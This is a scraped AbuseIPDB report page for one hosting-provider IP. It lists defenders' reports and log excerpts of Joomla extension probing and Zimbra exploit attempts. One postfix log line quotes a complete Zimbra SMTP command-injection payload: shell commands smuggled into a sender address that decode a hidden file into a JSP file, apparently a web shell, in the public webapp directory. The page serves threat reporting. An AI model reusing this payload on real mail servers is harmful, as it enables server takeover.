JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 66.245.218.125

66.245.218.125 was found in our database!

This IP was reported 21 times. Confidence of Abuse is 31%: ?

31%

ISP	The Constant Company, LLC.
Usage Type	Data Center/Web Hosting/Transit
ASN	AS20473
Domain Name	choopa.com
Country	🇯🇵 Japan
City	Osaka, Osaka

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 66.245.218.125

Whois 66.245.218.125

IP Abuse Reports for 66.245.218.125:

This IP address has been reported a total of 21 times from 16 distinct sources. 66.245.218.125 was first reported on June 4th 2026, and the most recent report was 3 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 kkeyser	2026-08-25 20:13:38 (3 days ago)	zimbra cve	Brute-Force
Anonymous	2026-08-21 14:23:22 (1 week ago)	Zimbra SMTP command-injection attempt detected by Fail2Ban	Hacking Web App Attack
🇩🇪 b2b	2026-08-21 13:57:00 (1 week ago)	attacking and trying to exploit : CVE-2026-73570	Web App Attack Hacking
🇪🇸 pepitogrillo	2026-08-21 09:00:24 (1 week ago)	Aug 21 09:00:23 clientium postfix/smtps/smtpd[2728529]: NOQUEUE: reject: RCPT from unknown[66.245.21 ... show more Aug 21 09:00:23 clientium postfix/smtps/smtpd[2728529]: NOQUEUE: reject: RCPT from unknown[66.245.218.125]: 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied; from=<"x: Service status change: z chmod u+w /opt/zimbra/jetty_base/webapps/zimbra/public;c=$(cat /opt/zimbra/data/tmp/snmpc_\|wc -c);[ $c -eq 1081 ]&&cat /opt/zimbra/data/tmp/snmpc_\|base64 -d\|gunzip -c>/opt/zimbra/jetty_base/webapps/zimbra/public/info.jsp;rm -f /opt/zimbra/data/tmp/snmpc_* changed from stopped to running"@example.com> to=<[email protected]> proto=ESMTP helo=<scan.invalid> ... show less	Fraud Orders Web Spam Email Spam Hacking Spoofing Brute-Force Web App Attack
🇳🇱 enpepet	2026-07-04 22:11:31 (1 month ago)	GENERAL: parametres: [url:uploadCustomIcon=] UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKi ... show more GENERAL: parametres: [url:uploadCustomIcon=] UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 URL:/index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon show less	Port Scan Hacking Brute-Force Bad Web Bot
🇫🇷 Sorgin Informatique	2026-07-04 06:34:27 (1 month ago)	nee-403 : Blocked Admin access=>/administrator/manifests/files/joomla.xml	Hacking
🇱🇺 conseilgouz	2026-07-03 13:15:23 (1 month ago)	are-403 : Blocked Admin access=>/administrator/manifests/files/joomla.xml	Hacking
🇲🇾 Rizzy	2026-07-03 03:57:41 (1 month ago)	Multiple WAF Violations	Brute-Force Web App Attack
🇫🇮 JLKnoch Software GmbH	2026-07-02 14:38:05 (1 month ago)	CrowdSec crowdsecurity/http-admin-interface-probing	Brute-Force Web App Attack
🇫🇷 Thaliruth	2026-06-30 14:47:00 (1 month ago)	66.245.218.125 - - [30/Jun/2026:16:46:59 +0200] "GET /administrator/manifests/files/joomla.xml HTTP/ ... show more 66.245.218.125 - - [30/Jun/2026:16:46:59 +0200] "GET /administrator/manifests/files/joomla.xml HTTP/1.1" 503 4515 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ... show less	Brute-Force Web App Attack
🇫🇷 Thaliruth	2026-06-30 09:35:06 (1 month ago)	[Tue Jun 30 11:35:05.907849 2026] [authz_core:error] [pid 1290046:tid 133953704941248] [client 66.24 ... show more [Tue Jun 30 11:35:05.907849 2026] [authz_core:error] [pid 1290046:tid 133953704941248] [client 66.245.218.125:0] AH01630: client denied by server configuration: /var/www/vhosts/reiter-von-rohan.com/httpdocs/administrator/manifests/files/joomla.xml ... show less	Brute-Force
🇱🇻 garmtech.com	2026-06-29 23:03:22 (1 month ago)	IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2 ... show more IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908) MV:/index.php show less	Hacking
🇱🇻 garmtech.com	2026-06-29 23:03:21 (1 month ago)	IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 ( ... show more IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907) MV:jcectbmmpng.xml.php show less	Hacking
🇧🇬 HighWay	2026-06-29 14:37:58 (1 month ago)	66.245.218.125 - - [29/Jun/2026:14:37:54 +0000] "GET /index.php?option=com_sppagebuilder&task=asset. ... show more 66.245.218.125 - - [29/Jun/2026:14:37:54 +0000] "GET /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1" 404 32207 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 66.245.218.125 - - [29/Jun/2026:14:37:54 +0000] "POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1" 404 28218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 66.245.218.125 - - [29/Jun/2026:14:37:55 +0000] "GET /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1" 404 28310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 66.245.218.125 - - [29/Jun/2026:14:37:55 +0000] "POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1" 404 28218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 66.245.218.125 - - [29/Jun/2026:14:37:55 +0000] "POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1" 404 28218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x6 ... show less	Port Scan Bad Web Bot
🇳🇴 Abuse Buster	2026-06-28 10:33:27 (2 months ago)	66.245.218.125 - [28/Jun/2026:12:33:24 +0200] "GET /index.php?option=com_sppagebuilder&task=asset.up ... show more 66.245.218.125 - [28/Jun/2026:12:33:24 +0200] "GET /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/2.0" 404 1863 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 66.245.218.125 - [28/Jun/2026:12:33:25 +0200] "GET /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/2.0" 404 1863 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 66.245.218.125 - [28/Jun/2026:12:33:25 +0200] "GET /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/2.0" 404 1863 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 66.245.218.125 - [28/Jun/2026:12:33:26 +0200] "GET /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/2.0" 404 1863 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ... show less	Web App Attack

Showing 1 to 15 of 21 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 198.98.53.213

🇺🇸 147.185.132.30

🇫🇷 91.231.89.43

🇫🇷 88.142.46.185

🇱🇹 62.60.130.201

🇸🇬 47.82.51.176

🇺🇸 20.172.68.0

🇺🇸 165.22.180.185

🇬🇧 62.60.130.253

🇳🇱 45.148.10.141

🇸🇬 43.163.90.206

🇺🇸 34.148.136.243

🇺🇦 176.98.11.25

🇺🇸 162.0.235.246

🇮🇳 122.162.148.108

🇹🇼 111.70.11.78

🇫🇷 92.62.246.38

🇺🇸 34.86.252.189

🇺🇸 34.11.85.176

🇨🇳 220.180.166.214